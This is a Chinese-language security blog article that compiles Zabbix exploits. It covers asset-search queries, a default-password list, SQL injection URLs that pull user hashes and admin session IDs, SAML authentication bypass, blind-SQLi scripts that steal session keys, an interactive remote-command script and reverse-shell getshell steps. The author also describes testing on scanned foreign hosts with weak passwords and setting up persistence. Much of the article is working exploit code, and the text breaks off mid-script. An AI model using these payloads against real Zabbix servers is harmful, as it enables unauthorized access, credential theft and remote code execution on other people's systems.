Zabbix漏洞复现汇总
文章详细介绍了Zabbix监控系统中的多个安全漏洞,包括SQL注入、命令执行和认证绕过等,并提供了漏洞复现方法和相关工具脚本。同时强调了安全意识的重要性。 2025-9-5 00:50:30 Author: www.freebuf.com(查看原文) 阅读量:27 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

前言

Zabbix各版本漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。

小白可以直接收藏下来学习一下很多poc都直接给出来了,重点看漏洞复现模块,基本就是我的笔记。

如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。

Zabbix产品介绍

Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。可用于监视各种网络服务、服务器和网络机器等状态。本着其开源、安装简单等特点被广泛使用。

Zabbix 由两部分构成,Zabbix Server与可选组件 Zabbix Agent。Zabbix Server 可以通过 SNMP、Zabbix Agent、Ping、端口监视等方法提供对远程服务器/网络状态的监视、数据收集等功能,它可以运行在 Linux、Solaris、HP-UX、AIX、Free BSD、Open BSD、OS X等平台上。

Zabbix官网地址

https://www.zabbix.com/cn

1757031284_68ba2b74be2146e1dfabe.png!small?1757031282663

资产测绘

fofa

icon_hash="1045955894"
app="ZABBIX-监控系统"
title="appliance: Zabbix"
title="Zabbix"

title="appliance: Zabbix" || icon_hash="1045955894" || app="ZABBIX-监控系统" ||  title="Zabbix"

1757031340_68ba2bac2b8af54161709.png!small

hunter


app.name="Zabbix"
web.icon=="0fbe700fd7d07ec8d30ef8b3ac261484"
web.title="appliance: Zabbix"

app.name="Zabbix"
|| web.icon=="0fbe700fd7d07ec8d30ef8b3ac261484"
|| web.title="appliance: Zabbix"

1757031369_68ba2bc91021f871e8a0d.png!small?1757031367182

弱口令

Zabbix 安装后⾃带 Admin 管理员⽤户和 Guests 访客⽤户 (低版本),可登陆 Zabbiax 后台。

admin/zabbix
Admin/zabbix
Guest/空密码
guest/空密码
admin/123456
zabbix/zabbix
zabbix/123456
root/zabbix
root/zabbix123
root/zabbix1234
root/zabbix12345
root/zabbix123456
zabbix/zabbix123
zabbix/zabbix1234
zabbix/zabbix12345
zabbix/zabbix123456

1757031427_68ba2c033d505a23c6635.png!small?1757031425040

1757031433_68ba2c097196b01527a6a.png!small?1757031431455

Zabbix SQL注入漏洞 CVE-2016-10134

漏洞描述

zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

影响版本

该漏洞影响以下 未经修复的 Zabbix 版本:

  • Zabbix 2.2.x系列: 所有低于 2.2.15的版本

  • Zabbix 3.0.x系列: 所有低于 3.0.3的版本

具体来说:

主要分支受影响版本已修复版本
2.2.x2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.2.10, 2.2.11, 2.2.12, 2.2.13, 2.2.142.2.15
3.0.x3.0.0, 3.0.1, 3.0.23.0.3

注意:

  • Zabbix 1.x 版本已停止维护,且不受此特定漏洞影响(但存在其他众多老旧漏洞)。

  • Zabbix 3.2.x 及之后的所有新版本在发布时已包含此修复,不受影响

环境搭建

直接使用vulhub自带的环境搭建即可

docker-compose up -d #执行如下命令启动zabbix 3.0.3
执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker-compose ps查看容器状态,并通过docker-compose start来重新启动容器。

当然也可以使用vulfocus进行复现,就不用搭建了

https://vulfocus.cn/#/dashboard

漏洞复现

访问

http://your-ip:8080/index.php

用账号guest(密码为空)登录游客账户。

登录后,查看Cookie中的zbx_sessionid,复制后16位字符:

zbx_sessionid=cb4f5e3307ffbca669d1a14be14dc1e0

1757031668_68ba2cf4167da5e7d8ec2.png!small

7c935b31634b5ea6 #将这16个字符作为sid的值

payload

http://123.58.224.8:30323/latest.php?output=ajax&sid=%207c935b31634b5ea6&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
#url替换为目标地址端口

1757031700_68ba2d1445bfb62d00bab.png!small?1757031698125

这个漏洞也可通过jsrpc.php触发,且无需登录

在目标zabbix的地址后面加上如下url:

http://123.58.224.8:30323/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 #url替换为目标地址端口

1757031720_68ba2d28094257dcf6e52.png!small?1757031717964

输出结果,若包含:You have an error in your SQL syntax;表示漏洞存在

可以利用jsrpc的profileIdx2参数sql注入获取用户名和密码,具体操作如下:

获取用户名

http://123.58.224.8:30323/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,name,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17 #url替换为目标地址端口

1757031744_68ba2d40ea4fac86a2dc9.png!small?1757031742847

获取密码hash

http://123.58.224.8:30323/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17 #url替换为目标地址端口

1757031762_68ba2d5221654b7a7de47.png!small?1757031760180

获取hash之后可以尝试使用cmd5进行解密

1757031773_68ba2d5d59f6da36f0a10.png!small?1757031771512

获取用户名以及hash

http://123.58.224.8:30323/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x7e,(select%20concat(name,0x3a,passwd)%20from%20%20users%20limit%200,1),0x7e)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 #url替换为目标地址端口

1757031790_68ba2d6e04aff94e427e4.png!small?1757031787960

获取sessionid

http://123.58.224.8:16543/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2 &screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph &profileIdx2=(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select passwd from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) &updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297 &action=showlatest&filter=&filter_task=&mark_color=1)/jsrpc.php?id=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=profileldx2=(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(0x7e,sessionid,0x7e)%20as%20char),0x7e))%20from%20zabbix.sessions%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17 #url替换为目标地址端口

1757031806_68ba2d7e14c32420f3608.png!small?1757031804188

使用获取的sessionid直接进行登录

1757031820_68ba2d8cb335b2865501e.png!small?1757031818655

然后可以使用cve-2017/cve2020之类的后台漏洞直接getshell

zabbix 命令注入 (CVE-2017-2824)/ zabbix 代码执行 (CVE-2020-11800)

漏洞介绍

Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix Server 2.4.X 的陷阱命令功能中存在可利用的代码执行漏洞。一组特制的数据包可能会导致命令注入,从而导致远程代码执行。攻击者可以从活动的 Zabbix 代理发出请求来触发此漏洞。

漏洞复现

首先来到vulfocus开启靶场,找到对应版本,我直接使用这个进行复现。

1757031935_68ba2dff4c4d8a257798e.png!small?1757031933294

注意看80的映射情况

访问对应的映射端口来到登录页面

弱口令

Admin/zabbix

1757031973_68ba2e256fc8fd8ed499d.png!small?1757031971469

直接进入后台

1757031985_68ba2e31ec8e09e5a3eb2.png!small?1757031984015

按照我的箭头方式进行配置

原理

利用该漏洞,服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action,名字随意:
第三个标签页,创建一个Operation,type是“Add Host”:
保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为Agent。

1757032005_68ba2e4518a8d35f41281.png!small?1757032002960

名称随便写一个

1757032016_68ba2e507685f678aea91.png!small?1757032014797

1757032024_68ba2e580a76b2b72ccd4.png!small?1757032021981

1757032031_68ba2e5f6760ebf09783d.png!small?1757032029311

1757032038_68ba2e663a94bd7b0f96c.png!small?1757032036103

1757032045_68ba2e6d25b7fef65be1b.png!small?1757032043003

之后就可以添加成功

下载脚本

https://github.com/listenquiet/cve-2017-2824-reverse-shell

然后服务器开启监听

没有nc的话,centos7使用
yum install nc #简单下载一下就行

systemctl stop firewalld.service

1757032078_68ba2e8ebed5910448032.png!small?1757032076665

来到下载后的工具处

1757032088_68ba2e98616415a71eb9b.png!small?1757032086213

进入exp.py进行修改

首先先来到环境处确定我的10051被映射到42713

所以先修改发送端口为42713

1757032103_68ba2ea7b7cdd10ce0e59.png!small?1757032101577

1757032111_68ba2eafc45f4245a4fb8.png!small?1757032109810

之后建立连接的时间我这里直接给了10000

然后看自己服务器的ip,记录下来之后在这里进行分段修改,然后保存

1757032132_68ba2ec471533257623a0.png!small?1757032130492

工具用法

python exp.py 123.58.224.8 #后面ip替换为目标ip地址

1757032149_68ba2ed52448966eab6b3.png!small?1757032146928

1757032158_68ba2ede589823bdcf8d9.png!small?1757032156373

我第一次超时第二次就成功了,不成功可以多试几次

1757032172_68ba2eecb2618895bd810.png!small?1757032170517

Zabbix SAML身份绕过漏洞 CVE-2022-23131

漏洞介绍

在启用 SAML SSO 身份验证(非默认)的情况下,未经身份验证的攻击者可以通过修改Cookie数据,绕过身份认证获得对 Zabbix 前端的管理员访问权限。
该漏洞存在于index_sso.php文件中,由于index_sso.php文件未调用CEncryptedCookieSession::checkSign()方法对cookie进行校验,且客户端的cookie可被伪造。
从index_sso.php文件中可以看出,当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过

影响版本

Zabbix 4.0.36
Zabbix 5.4.0
Zabbix 5.4.8
Zabbix 6.0.0alpha1

漏洞复现

检测该漏洞的主要步骤为:

  • 获取 Set-Cookie 数据 zbx_session 参数的值

  • 通过 URL 解码和 Base64 解码获得 zbx_session 参数 json 格式数据

  • 通过在 json 中添加 saml_data 和 username_attribute 参数后重新 Base64 编码和 URL 编码构造 Payload

  • 在请 HTTP 求头中添加构造的 Payload,然后请求 index_sso.php

  • 若 HTTP 响应头中包含 Location 头,说明存在漏洞,可直接进入管理界面

获取 Set-Cookie 数据,通过 URL 解码和 Base64 解码,得到如下数据:

访问地址可以看到这个页面

1757032263_68ba2f47b15bded065ae6.png!small?1757032261497

点击Sign in下面的Sign in with Single Sign-On (SAML)

使用 Burp 抓包

1757032277_68ba2f55ec1a93ced73ec.png!small?1757032275951

也可以使用

curl -ksSIL http://url.com

-k --insecure 忽略SSL证书错误
-s --silent 静默模式,不显示进度和统计信息
-S --show-error 在静默模式下仍显示错误
-I --head 只请求HTTP头部信息
-L --location 自动跟随重定向

1757032297_68ba2f6904ce53bd03b49.png!small?1757032294899

获取到set-cookie的值,然后先进行url解码,然后再进行base64解码

set-cookie值:

eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdndytDUlpqeVJyQUJ5WDk5bGhNMVVHbFM4cTRwNjBKb1wvUGc9PSJ9

1757032313_68ba2f79b555d33d4b3d4.png!small?1757032311723

解密之后

{"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}

添加字符串,伪造管理员

"saml_data":{"username_attribute":"Admin",

添加后

{"saml_data":{"username_attribute":"Admin"},"sessionid":"171b8009284462e1dda802aac899026c","sign":"ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=="}

然后使用base64加密一下

1757032389_68ba2fc5db859b73766a6.png!small?1757032387812

eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiMTcxYjgwMDkyODQ0NjJlMWRkYTgwMmFhYzg5OTAyNmMiLCJzaWduIjoidHk2UmVZM1Q0cVRHWHpybHhTNmZacjU0YU96QjBwYUtub1hwYWQ0dzB3SnNpcDUydmlHZ3crQ1JaanlSckFCeVg5OWxoTTFVR2xTOHE0cDYwSm9cL1BnPT0ifQ==

然后替换zbx_session的值

1757032414_68ba2fde714f80828efaa.png!small?1757032412324

点击抓包之后替换也可以使用一些浏览器插件进行替换

1757032433_68ba2ff111d96deca4df2.png!small?1757032430976

之后成功来到后台

1757032447_68ba2fff8559ba8111699.png!small?1757032445434

python检测脚本

python zabbix_login_bypass.py http://url.com

# coding:utf-8

import sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def runPoc(url):
response = requests.get(url,verify=False)

cookie = response.headers.get("Set-Cookie")

sessionReg = re.compile("zbx_session=(.*?);")
try:
session = re.findall(sessionReg,cookie)[0]

base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))
session_json = json.loads(base64_decode)

payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])

print("未加密Payload:" + payload)
print('\n')
payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))

print("加密后Payload:" + payload_encode)

except IndexError:
print("[-] 不存在漏洞")

if __name__ == '__main__':
try:
url = sys.argv[1]
runPoc(url)
except IndexError:
print("""
Use: python CVE-2022-23131.py http://xxxxxxxxx.com

By:MrHatSec""")

Zabbix SQL注入漏洞(CVE-2024-42327)

漏洞介绍

Zabbix的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。

影响版本

6.0.0 <= Zabbix <= 6.0.31
6.4.0 <= Zabbix <= 6.4.16
Zabbix 7.0.0

登录后使用以下payload:

POST /api_jsonrpc.php HTTP/1.1
Host: z.test.xaitx.com
Content-Type: application/json-rpc
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJiODVhYjcwNjZlN2M3YmU0YmYzNmEwMGEwN2ZjMzBiYiIsInNlcnZlckNoZWNrUmVzdWx0IjpmYWxzZSwic2VydmVyQ2hlY2tUaW1lIjoxNzMzNzQ2ODM5LCJzaWduIjoiMGE4N2RlZTkyNWU1Y2JlNTFkZjdkNGYyNzk1Y2ZlMmYxODA4NGEwYWJmODQ0MTk5NGI3MDA0MzRmNzA1MjY3YiJ9
Content-Length: 101

{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"a from (select 1 as userid) as u join (select (select user()) as a) as r #"
]
},
"id": 2
}

返回数据库对应的信息。

1757032567_68ba30771b06dce71fe11.png!small?1757032565257

其他poc

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

POST /api_jsonrpc.php HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 167

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "40b23536324a2e3e872f0f446d7a11d0", "id": 1}

Zabbix-Serve-SQL注入漏洞(CVE-2024-22120)

漏洞复现

CVE-2024-22120 中,攻击者在登陆后可构造恶意请求利用clientip参数造成SQL注入。

漏洞利用成功前提`:需要一个低权限用户,并且该用户需要具有`Detect operating system的权限,但是这个操作默认的是没有的,只有管理员用户组才有

获取管理员session id 脚本

import json
import argparse
from pwn import *
from datetime import datetime

def send_message(ip, port, sid, hostid, injection):
zbx_header = "ZBXD\x01".encode()
message = {
"request": "command",
"sid": sid,
"scriptid": "3",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
#print("Sending message %s" % message)
r = remote(ip, port, level='debug')
r.send(message)
response = r.recv(1024)
r.close()
print(response)

def extract_admin_session_id(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, end="", flush=True)
break
print("\n")
return session_id

def extract_config_session_key(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
print("\n(+) trying c=%s" % c, end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print("(+) session_key=%s" % token, end="", flush=True)
break
print("\n")
return token

def tiny_poc(ip, port, sid, hostid):
print("(+) Running simple PoC...\n", end="", flush=True)
print("(+) Sleeping for 1 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(1))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query-before_query))
print("(+) Sleeping for 5 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(5))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query - before_query))
print("(+) Sleeping for 10 sec...\n", end="", flush=True)
before_query = datetime.now().timestamp()
query = "(select sleep(10))"
send_message(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
print("(+) Request time: %d\n" % (after_query - before_query))

def poc_to_check_in_zabbix_log(ip, port, sid, hostid):
print("(+) Sending SQL request for MySQL version...\n", end="", flush=True)
query = "(version())"
send_message(ip, port, sid, hostid, query)

if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Command-line option parser example')
parser.add_argument("--false_time", help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)", default="1")
parser.add_argument("--true_time", help="Time to sleep in case of right guess(make it bigger than false time, default=10)", default="10")
parser.add_argument("--ip", help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
parser.add_argument("--poc", action='store_true', help="Use this key if you want only PoC, PoC will simply make sleep 1,2,5 seconds on mysql server", default=False)
parser.add_argument("--poc2", action='store_true', help="Use this key to simply generate error in zabbix logs, check logs later to see results", default=False)
args = parser.parse_args()
if args.poc:
tiny_poc(args.ip, int(args.port), args.sid, args.hostid)
elif args.poc2:
poc_to_check_in_zabbix_log(args.ip, int(args.port), args.sid, args.hostid)
else:
print("(+) Extracting Zabbix config session key...\n", end="", flush=True)
config_session_key = extract_config_session_key(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print("(+) config session_key=%s\n" % config_session_key, end="", flush=True)
print("(+) Extracting admin session_id...")
admin_sessionid = extract_admin_session_id(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
print("(+) admin session_id=%s\n" % admin_sessionid, end="", flush=True)
print("(+) session_key=%s, admin session_id=%s. Now you can genereate admin zbx_cookie and sign it with session_key" % (config_session_key, admin_sessionid))

RCE脚本

利用获取到的session_id rce

import requests
import json

ZABIX_ROOT = "http://192.168.198.136"
url = ZABIX_ROOT + "/api_jsonrpc.php"
host_id = "10084"
session_id = "00000000000000000000000000000000"
headers = {
"content-type": "application/json",
}
auth = json.loads('{"jsonrpc": "2.0", "result": "' + session_id + '", "id": 0}')

while True:
cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "":
print("Result of last command:")
elif cmd == "quit":
break
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
"scriptid": "1",
"command": "" + cmd + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=headers)
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
"scriptid": "1",
"hostid": "" + host_id + ""
},
"auth": auth['result'],
"id": 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
cmd_exe_json = cmd_exe.json()
if "error" not in cmd_exe.text:
print(cmd_exe_json["result"]["value"])
else:
print(cmd_exe_json["error"]["data"])

利用获取到的管理员session id和session key构造zbx_session登录管理界面

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime

def SendMessage(ip, port, sid, hostid, injection):
context.log_level = "CRITICAL"
zbx_header = "ZBXD\x01".encode()
message = {
"request": "command",
"sid": sid,
"scriptid": "1",
"clientip": "' + " + injection + "+ '",
"hostid": hostid
}
message_json = json.dumps(message)
message_length = struct.pack('<q', len(message_json))
message = zbx_header + message_length + message_json.encode()
r = remote(ip, port, level="CRITICAL")
r.send(message)
r.recv(1024)
r.close()

def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
token = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
token += c
print("(+) session_key=%s" % token, flush=True)
break
return token


def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
session_id = ""
token_length = 32
for i in range(1, token_length+1):
for c in string.digits + "abcdef":
before_query = datetime.now().timestamp()
query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
SendMessage(ip, port, sid, hostid, query)
after_query = datetime.now().timestamp()
if time_true > (after_query-before_query) > time_false:
continue
else:
session_id += c
print("(+) session_id=%s" % session_id, flush=True)
break
return session_id

def GenerateAdminSession(sessionid, session_key):
def sign(data: str) -> str:
key = session_key.encode()
return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()

def prepare_data(data: dict) -> str:
sorted_data = OrderedDict(data.items())
sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

session = {
"sessionid": sessionid,
"serverCheckResult": True,
"serverCheckTime": int(time.time())
}
res = prepare_data(session)
return res

def CheckAdminSession(ip, admin_session):
proxy = {
"https": "http://127.0.0.1:8083",
"http": "http://127.0.0.1:8083"
}
url = f"http://{ip}/zabbix.php?action=dashboard.view"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Cookie": f"zbx_session={admin_session}"
}
resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
if "Administration" in resp.text and resp.status_code == 200:
return admin_session
else:
return None

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
parser.add_argument("--false_time",
help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
default="1")
parser.add_argument("--true_time",
help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
default="10")
parser.add_argument("--ip", help="Zabbix server IP")
parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
parser.add_argument("--sid", help="Session ID of low privileged user")
parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
args = parser.parse_args()
admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
admin_session = GenerateAdminSession(admin_sessionid, session_key)
res = CheckAdminSession(args.ip, admin_session)
if res is not None:
print(f"try replace cookie with:\nzbx_session={res}")
else:
print("failed")

zabbix_popup.php存在SQL注入漏洞

GET /popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=' HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://xx.xx.xx.xx
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

Zabbix后台Get shell

1. 默认用户名密码登录

Admin / zabbix

也可以爆破弱口令之类的突破

2.进入后点击管理-脚本

老版本

首先来到管理脚本处

1757032745_68ba312918de8b510a1e4.png!small?1757032742984

点击右边创建脚本或修改已有脚本,写入反弹shell

1757032780_68ba314c7229cc8c7d180.png!small?1757032778320

然后点击检测中-最新数据

1757032804_68ba316416c1c48601291.png!small?1757032802076

1757032810_68ba316ae6de355bbdfd7.png!small?1757032808799

收到反弹shell

1757032834_68ba3182d495f2c74cbb0.png!small?1757032832898

新版本

直接找一个国外地址测试

弱口令进入后台

1757032861_68ba319da4d5d2ac77ee6.png!small?1757032859455

来到管理的脚本处,有些版本会在alert的脚本处

1757032877_68ba31adc6836f542e552.png!small?1757032875777

1757032887_68ba31b7de39c785255cd.png!small?1757032886038

1757032896_68ba31c0173bbc67d3009.png!small?1757032893979

1757032903_68ba31c790a5a3fa48a5c.png!small?1757032901402

1757032913_68ba31d1572cf77fdf617.png!small?1757032911274

也可以直接反弹shell,使用最近很火的cacm做个权限维持,老简单了,搞个国外的vps,测试用,扫了一下,弱口令还是很多很多的。

Zabbix(*Zabbix <= 4.4* )认证绕过

pip3 install requests beautifulsoup4 fake-useragent

python3 zabbix_auth_bypass.py https://target:port/

python3 zabbix_auth_bypass.py https://192.168.1.100:8443/
python3 zabbix_auth_bypass.py https://zabbix.example.com/zabbix/

payload

#!/usr/bin/env python3
#
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit (Python3 Version)
#
# Based on original Perl exploit by Todor Donev <todor.donev at gmail.com>
# Converted to Python3 by Assistant
#

import sys
import requests
import urllib3
from bs4 import BeautifulSoup
from fake_useragent import UserAgent

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def print_usage():
print("[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit (Python3)")
print("[ Based on original Perl exploit by Todor Donev <todor.donev at gmail.com>")
print("[ Usage: python3 zabbix_auth_bypass.py https://target:port/")
print("[ Example: python3 zabbix_auth_bypass.py https://192.168.1.100:8443/")

def main():
if len(sys.argv) != 2:
print_usage()
sys.exit(1)

host = sys.argv[1].rstrip('/')

if not host.startswith('http'):
print("[!] Error: Target must start with http or https")
print_usage()
sys.exit(1)

print("[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit")
print("[ Exploit Author: Todor Donev 2019 <[email protected]>")
print("[ Python3 conversion")
print("[ Initializing the browser")

# 生成随机User-Agent
try:
ua = UserAgent()
